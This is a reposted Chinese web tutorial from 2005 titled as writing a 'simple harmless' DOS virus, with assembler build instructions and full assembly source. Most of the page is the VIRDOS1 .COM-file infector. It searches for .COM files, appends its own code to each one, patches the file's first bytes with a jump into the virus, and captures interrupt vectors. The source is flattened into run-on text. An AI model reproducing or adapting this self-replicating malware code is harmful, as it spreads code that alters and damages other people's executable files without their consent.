首页 电脑 电脑学堂 查看内容

[原创]简单无害的DOS病毒编写

2005-6-27 08:25 843 0

摘要: [原创]简单无害的DOS病毒编写文章作者:luojijie信息来源:邪恶八进制信息安全团队注意:转载文章请保持文章的完整性 保留作者的名字===========BEGIN OF LJ.ASM=====...
关键词: nbsp 文件 MOV COM 病毒 INT 地址 偏移 长度 字节

[原创]简单无害的DOS病毒编写文章作者:luojijie信息来源:邪恶八进制信息安全团队注意:转载文章请保持文章的完整性 保留作者的名字===========BEGIN OF LJ.ASM============请在DOS下用MASM 5.O编译,然后用LINK.EXE连接.最后用EXE2BIN连接成.COM文件,格式如下:C:\>MASM LJ.ASM 生成.OBJ文件及.LST文件C:\>LINK LJ.OBJ 生成.EXE文件C:\>EXE2BIN LJ.EXE LJ.COM即生成LJ.COM文件,然后即可直接运行,该程序无任何目的,只用于被病毒感染调试用,可直接运行,格式如下:C:>LJ                                                  .19.原程序如下:SEG_A         SEGMENT     BYTE PUBLIC        ASSUME     CS:SEG_A, DS:SEG_A        ORG     100HLJJ2         PROC     FARSTART:    JMP REAL_STARTREAL_START:    NOP        NOP        NOP        MOV     AH,4CH    INT 21H     LJJ2         ENDPSEG_A         ENDS        end     start=============BEGIN OF VIRDOS1.ASM============(.COM文件病毒)(1)请在DOS下用MASM 5.O编译,然后用LINK.EXE连接.最后用EXE2BIN连接成.COM文件,格式如下:C:\>MASM VIRDOS1.ASM 生成.OBJ文件及.LST文件C:\>LINK VIRDOS1.OBJ 生成.EXE文件C:\>EXE2BIN VIRDOS1.EXE VIRDOS1.COM即生成VIRDOS1.COM文件,然后即可运行,先看一个调试程序LJ.COM的字节数(如10个字节长度) 运行格式如下:C:>VIRDOS1 LJ.COM在DOS下运行上述命令后即可看到LJ.COM文件字节变长,这就是LJ.COM被病毒VIRDOS1.COM第一次感染后的结果.我们可以用COPY命令复制一个同LJ.COM(如10个字节长度)原程序一样的程序(未被病毒感染的程序),叫LJ1.COM吧!被病毒感染的LJ.COM在DOS下运行的格式:C:>LJ.COM运行过后我们再查看LJ1.COM文件长度是否变长了,是的话即LJ1.COM也被病毒感染了.;本程序调试请使用TR或DEBUGGoHead MACRO  MOV AX,4200H           ;移动文件指针至文件头     XOR CX,CX  XOR DX,DX  INT 21H  ENDM   GoTail MACRO         MOV AX,4202H           ;移动文件指针至文件尾     XOR CX,CX  XOR DX,DX  INT 21HENDMCODE SEGMENT  ORG 100H  ASSUME CS:CODE;DS:CODE  START: JMP INIZ       ;无条件转到INIZ(目的执行病毒释放程序)BEGIN:JMP   START1           ;执行病毒第一条指令FN DB '*.COM',0       ;用于搜索所有.COM文件的伪定义COM_SH_LEN DW 0000H       ;用于目的文件长度的伪定义(因为病毒加载目的文件时要;计算目的文件长度)ENDCDE DB 0OPENMSG DB '***OPEN ERROR ***',0DH,0AH   ;第一次想要释放病毒时打开目的文件错误  FTYPE DB 0                     HDI DW 0                                                                       .22.  QQ DW 0                     KT DW 0                       LEN DD 0                 BUF DB 1024 DUP(0)         ;缓冲区1024字节;   STR DB 0DH,0AH,"NO -MATCH! $"  STR1 DB 0DH,0AH,"FOUND DABIVIRUS,KILLED!$"  ;STR2 DB 0DH,0AH,"FOUND DABIVIUFS IN MEMORY RDBOOT WITHNO-VIRUS! $"  BUT DW 0000HCOM_HANDLE DW 0000H         ;文件句柄INT13H DD 0000H             ;中断13的存储地址INT21H DD 0000H             ;中断21的存储地址INT2FH DD 0000H             ;中断2F的存储地址JJ DW 0000H               CURRENT_INT DD 3 DUP(0)       TF DB 2 DUP(0)COM_BUF DB 0E9H,0,0COM_BU DB 3 DUP(0)HEAD1 DB 10 DUP(0)HEAD7 DB 7 DUP(0)HEAD3 DB 3 DUP(0)READ_BUF DB 10 DUP(0)HEAD2 DB 10 DUP(0)COM_MSG DB 0AH,0DH      DB "Notice Ifound Unknow Virus.."      db 0AH,0DH      DB "Now,I kill it"      DB 0AH,0DH,'$'  LJG DB 0AH,0DH    DB "I cat not write back file"    DB 0AH,0DH,'$'START1:MOV AH,30H     取DOS版本  INT 21H  CMP BL,5BH   是5.0版吗,不是转NEXT  JNZ NEXT  ; LEA DX,STR2+7  JMP EXIT7   ;无条件转EXIT7NEXT: MOV BL,DS:[80H] ;取.COM文件80H缓冲区.(80H区作用请参考本书其他章节)  OR BL,BL       ;BL或运算; JNZ NEXT1  JMP NEXT1     ;转NEXT1NEXT1:XOR BH,BH     ;BH或运算                                                    .23.MOV BYTE PTR [BX+81],0 ;[BX+81]单元置0  MOV SI,81H         ;SI=81HLOOP1:LODSB           CMP AL,20H           ;SI是否为空格,相等转LOOP1,不相等SI=SI-JZ LOOP1DEC SILEA DI,FN+[DI]       ;DI=文件被病毒感染后的(*.COM)字符  PUSH BX; PUSH DIMOV CX,BX           ;不为0时重复传送指令REPNZ MOVSB  XOR CX,CX     ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置  MOV DI,101H  MOV BX,[DI]LEA DX,FN+[BX]   ;被病毒感染后.COM字符的正确位置MOV CX,0MOV AH,4EH     ;搜索.COM文件INT 21HLOOP2:JNC NEXT2 ;没错转NEXT2JMP EXITENEXT2:MOV DI,00HMOV BP,0101HMOV DI,[BP]   ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置送DIPUSH DIXOR CX,CX; LEA SI,READ_BUF+[DI]  LEA SI, HEAD3+[DI]     ;恢复被病毒感染后原文件第一条指令,以便文件能正常运行  MOV DI,100H  MOV CX,3  CLD  REP MOVSBPOP DIMOV AH,2FH  INT 21H  PUSH ES     ;设置磁盘传送地址  POP DS  ADD BX,1EH  PUSH BX; POP DI     ;计算BX在80区的正确位置  POP DX                                                    .24.CALL SCAN   ;调用搜索模块,成功转YY  JNC YY  JMP EXITEYY:   MOV AH,4FH ;搜索下一个.COM文件  INT 21H  JC EXIT7  JMP LOOP2EXIT7:JMP DI   ;转0100H继续执行原文件SCAN PROC NEAR   ;搜索.COM文件模块MOV SI,DX     ;SI=DX; POP DIMOV BP,DI     ;BP=DIPUSH BP     ;BP入栈CALL DISP     ;调用显示字母(文件名.COM)字符模块CLD         ;去方向LP1:LODSB     ;装入AL  CMP AL,'.'   ;比较是否为”.”字符  JZ SL       ;相等转SL  CMP AL,0     ;比较是否为0,不相等转LP1  JNZ LP1  JMP EXITSSL:LES AX,[SI]   ;将SI的单元内容送AX,SI+2=ES的单元内容送BX  MOV BX,ES  CMP AX,4F43H ;比较是否为CO字符JNZ EXITS     ;不相等转EXITSCMP BL,4DH     ; 比较是否为M字符JNZ EXITS     ;不相等转EXITSJMP GOKILL   ;转GOKILLGOKILL:CALL KILL ;调用感染模块EXITE: XOR AX,AXXOR BX,BXXOR DX,DX       ;寄存器清0,并转0100H执行原文件XOR SI,SIMOV DI,0100HJMP DIEXITS:RETSCAN ENDPKILL PROC NEARMOV AX,3D02H     ;读写打开文件INT 21H       ;打开目标文件的.COM文件,准备感染(目标文件的意思是正在运行的文件JNC COM       ;如A.COM打开另一个B.COM文件                                                  .25.JMP EXITKCOM:MOV BX,AX;MOV DI,00H;MOV BP,0101H;MOV DI,[BP]  MOV AX,4200H  XOR CX,CX     ;移动文件指针至文件头  MOV DX,0  INT 21HMOV CX,3LEA DX,COM_BUF+[DI]     ;读文件头三个字节入正在运行的文件COM_BUF+[DI]偏移地址MOV AH,3FH           ;处INT 21H;JMP COM1  MOV AX,4200H  XOR CX,CX  MOV DX,0       ;移动文件指针至文件头  INT 21HMOV CX,3LEA DX,HEAD3+[DI]   ;读文件头三个字节入正在运行的文件HEAD3+[DI]偏移地址处MOV AH,3FHINT 21HJMP COM1       ;转COM1COM1:MOV AL,COM_BUF+[DI]   ;比较目标文件0100H处是否为此0E9H(即JMP)  CMP AL,0E9H         ;是的话转COM2准备感染  JZ COM2  JMP EXITR   COM2:  GoTail       ;移动文件指针至文件尾  MOV WORD PTR [COM_SH_LEN+[DI]] ,AX ;目标文件长度送[COM_SH_LEN+[DI]]的偏移地址处  ADD AX,0FFFDH               ;AX=目标文件长度-2  MOV WORD PTR [COM_BUF+1+[DI]],AX   ;送入[COM_BUF+[DI]]  PUSH AX                   ;AX入栈; MOV WORD PTR [TF+[DI]],AX  LEA DX, BEGIN+[DI]           ;将BEGIN+[DI]偏移地址送DX  MOV CX,063DH               ;写病毒CX=063DH(H为十六进制)入目标文件; ADD WORD PTR COM_SH_LEN+[BP],CX  MOV AH,40H  INT 21H  JMP HLHL:                                                  .26.MOV AX,4200H  XOR CX,CX     ;移动文件指针至0101H处  MOV DX,1  INT 21H  POP AX     ;AX出栈(AX=目标文件长度-2)MOV WORD PTR KT+[DI],AX ;送入KT+[DI]偏移地址处MOV AH,40HLEA DX,KT+[DI]   ;写2个字节入0101H处,目的是目标文件被病毒感染后第一条指令  MOV CX,2       ;被修改成(JMP 后加病毒入口地址)  INT 21H  JMP EXITREXITR:MOV AH,3EH   ;关闭文件INT 21HEXITK:RET   ;返回调用处KILL ENDPDISP PROC NEAR  PUSH SI  MOV AL,0DH  MOV AH,0EH  INT 10H  MOV AL,0AH     ;显示字符模块,搜索时显示(文件名.COM)  MOV AH,0EH  INT 10H  CLDDD1:LODSB  CMP AL,0  JZ EXITD  MOV AH,0EH  INT 10H  JMP DD1EXITD:POP SI  RETDISP ENDPINIZ:MOV AX,3513HINT 21HMOV WORD PTR INT13H,BX     ;取中断13向量地址送入;INT13H,INT13H+2MOV WORD PTR [INT13H+2],ES   ;偏移地址处MOV AX,3521HINT 21HMOV WORD PTR INT21H,BX     ;取中断21向量地址送入INT21H,INT21H+2偏移地址处MOV WORD PTR [INT21H+2],ES                                                  .27.MOV AX,352FHINT 21HMOV WORD PTR INT2FH,BX     ;取中断2F向量地址送入INT2FH,INT2FH+2偏移地址处MOV WORD PTR [INT2FH+2],ESPUSH DS       ;DS=ES POP ESMOV SI,082H   ;SI=082H MOV DI,OFFSET PATH   ;DI=PATH单元CLD             ;去方向MOVE:  CMP BYTE PTR DS:[SI],0DH ;比较是否有回车键  JE CON4             ;相等转CON4  MOVSB               ;不相等重复传送字节  JMP MOVE             ;无条件转MOVE CON4:XOR AL,ALMOV ES:[DI],AL       ;PATH偏移地址送DX MOV DX,OFFSET PATH   ;按路径打开文件名(格式为原文件名 目的文件名)MOV AX,3D02H       ;准备第一次感染INT 21HJNC CONTINUE   ;打开成功转CONTINUEJMP OPEN_ERRORCONTINUE:  MOV DS:HANDLE,AX ;文件句柄送DS:HANDLE,BX  MOV BX,AX  GoHead         ;移动文件指针至文件头  MOV BX,DS:HANDLE  MOV AH,3FH  MOV DX,OFFSET READ_BUF   ;读文件头10个字节入READ_BUF  MOV CX,10  INT 21H  MOV SI,OFFSET READ_BUF  MOV DI,OFFSET HEAD3       ;三个送HEAD3地址偏移处  MOV CX,3  CLD  REP MOVSB  MOV CX,7  MOV DI,OFFSET HEAD7       ;七个送HEAD7  REP MOVSB  GoTail     ;移动文件指针至文件尾  MOV WORD PTR COM_SH_LEN,AX   ;AX=目标文件长度-2  ADD AX,0FFFDH  MOV WORD PTR [COM_BUF+1],AX                                                  .28.ADD AX,0FFFEH     ;AX=目标文件长度-3  MOV WORD PTR BUT,AX ;送入BUT偏移地址  MOV DX,OFFSET BEGIN   MOV CX,OFFSET INIZ     ;计算INIZ-BEGIN地址单元中长度送CX,即计算病毒长度-3  SUB CX,OFFSET BEGIN  ADD WORD PTR COM_SH_LEN,CX   ;写病毒程序入目标文件(长度=CX)  MOV AH,40H  INT 21H  GoHead         ;移动文件指针至文件头  MOV DX,OFFSET COM_BUF  MOV CX,3             ;写三个字节COM_BUF处内容写入目标文件头  MOV AH,40H  INT 21H  MOV AH,3EH       ;关闭文件  INT 21H  MOV AH,09H  MOV DX,OFFSET MSG2  INT 21HJMP EXITOPEN_ERROR:  MOV AH,09H  MOV DX,OFFSET MSG1  INT 21HEXIT:MOV AH,4CH       ;结束并返回DOS INT 21HPATH DB 62 DUP(0)   ;文件路径用的缓冲区MSG1 DB 0DH,0AH,"File can not open!$"MSG2 DB "Now I have pritected this file.$"HANDLE DW 0000H     ;文件句柄用CODE ENDSEND START
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部